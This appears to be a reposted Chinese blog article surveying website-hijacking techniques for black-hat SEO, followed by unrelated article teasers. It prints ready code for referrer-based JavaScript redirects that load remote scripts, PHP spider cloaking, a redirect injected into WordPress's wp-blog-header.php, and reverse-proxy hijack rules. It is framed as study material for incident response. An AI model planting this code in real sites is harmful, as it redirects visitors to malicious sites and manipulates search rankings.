网站劫持常见方法

news2025/8/3 9:01:55

前言

本文主要是对常见的网站劫持方法进行总结学习,通过提前学习了解,不至于在遇到实际项目时手足无措。

网站劫持是黑帽SEO中的一种方式,可以通过入侵服务器获得权限后,对前端JS、后端脚本文件以及中间件进行设置,从而达到跳转到恶意网站提高网站权重的方法。

劫持方法

客户端劫持

客户端劫持手法有很多种,但是主要的就是以下两种

  • js劫持
  • header劫持

js劫持,顾名思义,就是通过新增或者将内容插入到网页中,通过JS代码达到跳转的目的。

JS劫持可以直接写入到源代码中,或者写入到数据库中(页面加载数据库内容,显示到页面),加载文件时,主要显示到页面中,jS代码就会生效,实现跳转。

<script>var s=document.referrer; 
if(s.indexOf("baidu")>0||s.indexOf("soso")>0||s.indexOf("google")>0||s.indexOf("yahoo")>0||s.indexOf("sogou")>0||s.indexOf("youdao")>0||s.indexOf("bing")>0){self.location='http://www.xxxx.com'; 
}</script>
 var regexp=/.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(.[a-z0-9-]+){1,2}\//ig;
  var where =document.referer;
  if(regexp.test(where)){
  document.write ('<script language="javascript" type="text/javascript" src="http://www.xxx.com/test.js"></script&gt;');
  }
  else
  {
  window.location.href="../../404.htm";
  }

header 劫持,是通过标签 实现的,将以下内容放置到html文件的header头中,就会实现跳转,成功劫持

<meta http-equiv="refresh" content="3; url=https://www.baidu.com">
在这里插入图片描述

服务端劫持

服务端劫持也称为全局劫持,手法为修改网站动态语言文本,判断访问来源控制返回内容,从来达到网站劫持的目的。

除了修改的特定文件外,还要注意Global.asa、Global.asax、conn.asp、conn.php等文件比较特殊,作用是在每次执行一个动态脚本的时候,都会先加载该脚本, 然后再执行目标脚本。所以只要在 Global.asa 中写判断用户系统信息的代码(访问来源等),如果是蜘蛛访问则返回关键词网页(想要推广的网站),如果是用户访问,则返回正常页面。

<?php
error_reporting(0);
//判断是否为百度蜘蛛,然后进行内容劫持
if(stripos($_SERVER["HTTP_USER_AGENT"],"baidu")>-1){
$file = file_get_contents('http://www.xxxx.com');
echo $file;
exit;
}
//判断是否来自百度搜索,然后进行url跳转
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {
Header("Location: http://www.xxxx.com/");//指定跳转
exit; 
}
?>

利用301重定向劫持

301永久重定向是一种非常重要的“自动转向”技术,是网址重定向最为可行的一种办法。当用户或搜索引擎向网站服务器发出浏览请求时,服务器返回的HTTP数据流中头信息(header)中的状态码的一种,表示本网页永久性转移到另一个地址。–百度百科

IIS

右键-属性-网站-IP地址哪里点编辑增加一个站点,增加一个站点,绑定的一下主机头,也可以绑定多个闲置域名。然后使用如下图所示步骤进行配置,即可实现301跳转。

在这里插入图片描述
在这里插入图片描述

apache

在网站根目录创建或编辑.htaccess文件
添加以下代码
保存配置完成

RewriteEngine On
RewriteCond %{HTTP_HOST} ^ioiox.com [NC]
RewriteRule ^(.*)$ https://www.ioiox.com/$1 [L,R=301]

Nginx

配置文件示例
在这里插入图片描述

在这里插入图片描述

还可以输入nginx -t检查错误

wordpress

在你的WordPress根目录下找到wp-blog-header.php文件,在第一个<?php 后面添加以下代码



if (strtolower($_SERVER['SERVER_NAME'])!='AAA.cn'){
  $URIRedirect=$_SERVER['REQUEST_URI'];
if(strtolower($URIRedirect)=="/index.php"){
  $URIRedirect="/";
}
header('HTTP/1.1 301 Moved Permanently');
header('Location:http://AAA.cn’.$URIRedirect);
exit();
}


代码实现

除了使用中间件实现之外,还可以通过代码进行实现。

ASP

<%  
if request.ServerVariables("HTTP_HOST")="tzchb.com" then 
   Response.Status="301 Moved Permanently"  
   Response.AddHeader "Location","http://www.tzhcb.com/"
   Response.End
end if
 %>

PHP

header("HTTP/1.1 301 Moved Permanently"); 
header("Location:your_dest_url");

反向代理劫持

通过配置反向代理,可以实现特定访问特定路径时,被代理到恶意网站,实现劫持。

Nginx

主配置文件

location ~ /[0-9a-z]+sc {
    proxy_pass  https://www.xxxx.com/;
}

apache

主配置文件

#反向代理

ProxyRequests Off

ProxyPass /clusterDemo http://127.0.0.1:8081/clusterDemo

ProxyPassReverse /clusterDemo http://127.0.0.1:8081/clusterDemo

 

ProxyPass /clusterDemo2 http://127.0.0.1:8082/clusterDemo2

ProxyPassReverse /clusterDemo2 http://127.0.0.1:8082/clusterDemo2

 

ProxyPass /clusterDemo3 http://127.0.0.1:8083/clusterDemo3

ProxyPassReverse /clusterDemo3 http://127.0.0.1:8083/clusterDemo3

#8888为apache的监听端口

<proxy http://127.0.0.1:8888>

  AllowOverride None

  Order Deny,Allow

  Allow from all

</proxy>

IIS恶意模块劫持

这种算是劫持时比较隐蔽的行为了,通过查杀工具查杀不到webshell,根据存在问题的链接去找文件夹也是找不到

排查时对不存在文件签名和奇怪路径的,创建时间不正常的进行排查。

在这里插入图片描述
在这里插入图片描述

参考

https://blog.csdn.net/cekaogai5015/article/details/100962570
https://cloud.tencent.com/developer/article/1811987
https://blog.csdn.net/UG8064/article/details/101334779
https://cloud.tencent.com/developer/article/1721931
https://blog.csdn.net/wendi_0506/article/details/88073414
https://www.ioiox.com/archives/18.html
https://www.ioiox.com/archives/19.html
https://developer.aliyun.com/article/334896

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/34878.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【微信小程序系列:五】小程序适老化自动适配工具miniprogram-elder-transform---微信老年关怀模式下小程序字体适配微信字体

1.先言 这个工具我网上基本找不到任何一篇文章说这个miniprogram-elder-transform的使用的&#xff0c;&#xff0c;既然没有&#xff0c;那咱就自己写第一篇~ Android字体大小标准默认16px&#xff0c;iOS字体大小标准默认17px。 个人觉得&#xff0c;微信用户设置字体大小超…

新手必看 电商商家一般不会分享的TikTok涨粉秘笈

想要实现TikTok营销变现增长&#xff0c;除了TikTok选品&#xff0c;还要学会TikTok营销。而对于刚刚起步的TikTok电商商家来说&#xff0c;涨粉就是第一烦恼了&#xff0c;今天就来说说关于TikTok涨粉这些事&#xff01;1、确定目标市场 首先&#xff0c;调研并确定所在行业与…

电脑c盘满了怎么清理,快速清理,用这5招

​新买的电脑没用多久&#xff0c;突然发现系统提示磁盘空间不足。点击一看&#xff0c;电脑c盘空间已经爆满变红。当出现这种情况时&#xff0c;很多电脑的运行速度会大大降低&#xff0c;甚至导致部分应用无法正常运行。那么电脑c盘满了怎么清理&#xff1f;如何释放电脑c盘空…

OpenGL 阴影

目录 一.OpenGL 阴影 1.IOS Object-C 版本1.Windows OpenGL ES 版本2.Windows OpenGL 版本 二.OpenGL 阴影 GLSL Shader三.猜你喜欢 零基础 OpenGL ES 学习路线推荐 : OpenGL ES 学习目录 >> OpenGL ES 基础 零基础 OpenGL ES 学习路线推荐 : OpenGL ES 学习目录 >&…

Vuex 笔记

文章目录1 Vuex 简介2 Vuex 用法2.1 安装 vuex2.2 修改 main.js,2.3 使用 mutation 改变 Store&#xff1a;2.4 带参数的 mutations:2.5 使用 getters 读取 store 数据2.6 使用 actions 执行异步代码2.7 总结2.8 使用 mapper 简化代码2.9 使用模块组织 store2.10 模块名字空间2…

MCE | 衰老“走过”的信号途径

近年来&#xff0c;与抗衰老相关的各类“神药”甚嚣尘上&#xff0c;如李嘉诚投资的烟酰胺核糖 (Nicotinamide Riboside; NR)。NR 是烟酰胺腺嘌呤二核苷酸 (NAD) 前体之一&#xff0c;可以提高人体内 NAD 水平。众所周知&#xff0c;NAD 在衰老过程中会下降&#xff0c;这是为什…

项目管理工具DHTMLX Gantt灯箱元素配置教程:文本区域控件设置

本文给大家讲解DHTMLX Gantt如何对文本区域控件进行设置。 多行文本字段如下图所示&#xff1a; 1、初始化 默认情况下&#xff0c;一个textarea控件会添加到灯箱中。要添加另一个&#xff0c;请按照以下步骤操作&#xff1a; 1&#xff09;在灯箱配置中添加一个部分&#x…

kafka介绍(一)

0.0 什么是MQ 这个部分&#xff0c;需要简单的解答一下&#xff0c;其实MQ就是消息队列&#xff0c;那么本质上&#xff0c;就是一个 FIFO的队列数据结构。 因此&#xff0c;早期的使用方法&#xff0c;都是启动一个线程发送消息&#xff0c;写入消息队列&#xff0c;作为消息…

在牛逼的Android 高工,也要深入了解性能优化~

不管你是在大厂还是小厂&#xff0c;不管你开发能力有多么牛逼&#xff0c;不管你参与开发过什么出名APP&#xff0c;性能优化这一关你必定是要过的&#xff0c;而在性能优化之中最重要的一环还得是启动优化。 因为启动速度直接决定了用户使用该 App的留存率和转化率&#xf…

web前端设计与开发期末作品 旅游咨询网站 HTML5期末大作业 HTML+CSS旅游社网站5个页面 关于制作网页主题论述

&#x1f468;‍&#x1f393;静态网站的编写主要是用 HTML DⅣV CSSJS等来完成页面的排版设计&#x1f469;‍&#x1f393;&#xff0c;一般的网页作业需要融入以下知识点&#xff1a;div布局、浮动定位、高级css、表格、表单及验证、js轮播图、音频视频Fash的应用、uli、下拉…

[附源码]java毕业设计亿上汽车在线销售管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

jersey跨域文件上传

1.1、添加upload文件夹 在webapps\Root文件夹下创建用于接收上传文件的upload文件夹 创建upload文件夹 1.2、修改conf\web.xml设置允许上传文件 <init-param> <param-name>readonly</param-name> <param-value>false</par…

PyTorch深度学习中卷积神经网络(CNN)的讲解及图像处理实战(超详细 附源码)

需要源码和图片集请点赞关注收藏后评论区留言私信~~~ 一、卷积神经网络简介 卷积神经网络是深度学习中最常用的一种网络结构&#xff0c;它作为一种深度神经网络结构&#xff0c;擅长处理图像相关的问题&#xff0c;能够将目标图像降维并提取特征&#xff0c;以进行分类识别等…

数据结构与算法基础(王卓)(1)

标准答案&#xff1a;&#xff08;来源自数据结构与算法基础&#xff08;青岛大学——王卓&#xff09; note_Tarench的博客-CSDN博客&#xff09; #include <iostream> using namespace std;typedef struct {float realpart; //实部float imagpart; //虚部 }Complex;…

idea快速搭建struts2框架

一.用maven创建一个javaweb项目&#xff1a; pom.xml内容&#xff1a; <?xml version"1.0" encoding"UTF-8"?> <!--Licensed to the Apache Software Foundation (ASF) under oneor more contributor license agreements. See the NOTICE fi…

SpringCloud之入门

目录 一、简介 微服务架构介绍 微服务架构的常见问题 二、微服务架构拆分代码实现 微服务环境搭建 案列准备 微服务调用 实现步骤 创建一个父工程 创建成功spcloud-shop的pom依赖 创建基础模块 基础模块 shop-common pom依赖 创建用户微服务 shop-user 源码 shop-use…

纵目科技冲刺科创板:拟募资20亿 小米君联同创是股东

雷递网 雷建平 11月24日纵目科技&#xff08;上海&#xff09;股份有限公司&#xff08;简称&#xff1a;“纵目科技”&#xff09;日前递交招股书&#xff0c;准备在科创板上市。纵目科技计划募资20亿元&#xff0c;其中&#xff0c;12.92亿元用于上海研发中心建设项目&#x…

HTML5期末大作业 基于HTML+CSS+JavaScript学校官网首页

⛵ 源码获取 文末联系 ✈ Web前端开发技术 描述 网页设计题材&#xff0c;DIVCSS 布局制作,HTMLCSS网页设计期末课程大作业 | 校园班级网页设计 | 我的班级网页 | 我的学校 | 校园社团 | 校园运动会 | 等网站的设计与制作 | HTML期末大学生网页设计作业 HTML&#xff1a;结构 …

基于FME实现地铁路径规划

在建设智慧城市的背景下&#xff0c;智慧交通、智慧出行等建设在近几年日常生产、生活中占比逐渐加大。 路径规划是智慧交通、智慧出行建设过程当中较重要的专题分类。不管是百度、高德等公共服务平台&#xff0c;亦或是地方政府部门都在大力推动导航发展。路径规划作为数据导…

如何实现企业全链路协同,实现企业业绩增长

随着全球经济环境、贸易格局、产业结构的不断变化&#xff0c;持续冲击着各大企业供应链。在链路长、流程复杂的供应链体系中&#xff0c;由于“牛鞭效应”&#xff08;供应链上的一种需求变异放大现象&#xff09;的影响&#xff0c;需求单位、各级采购中心、供应商之间的信息…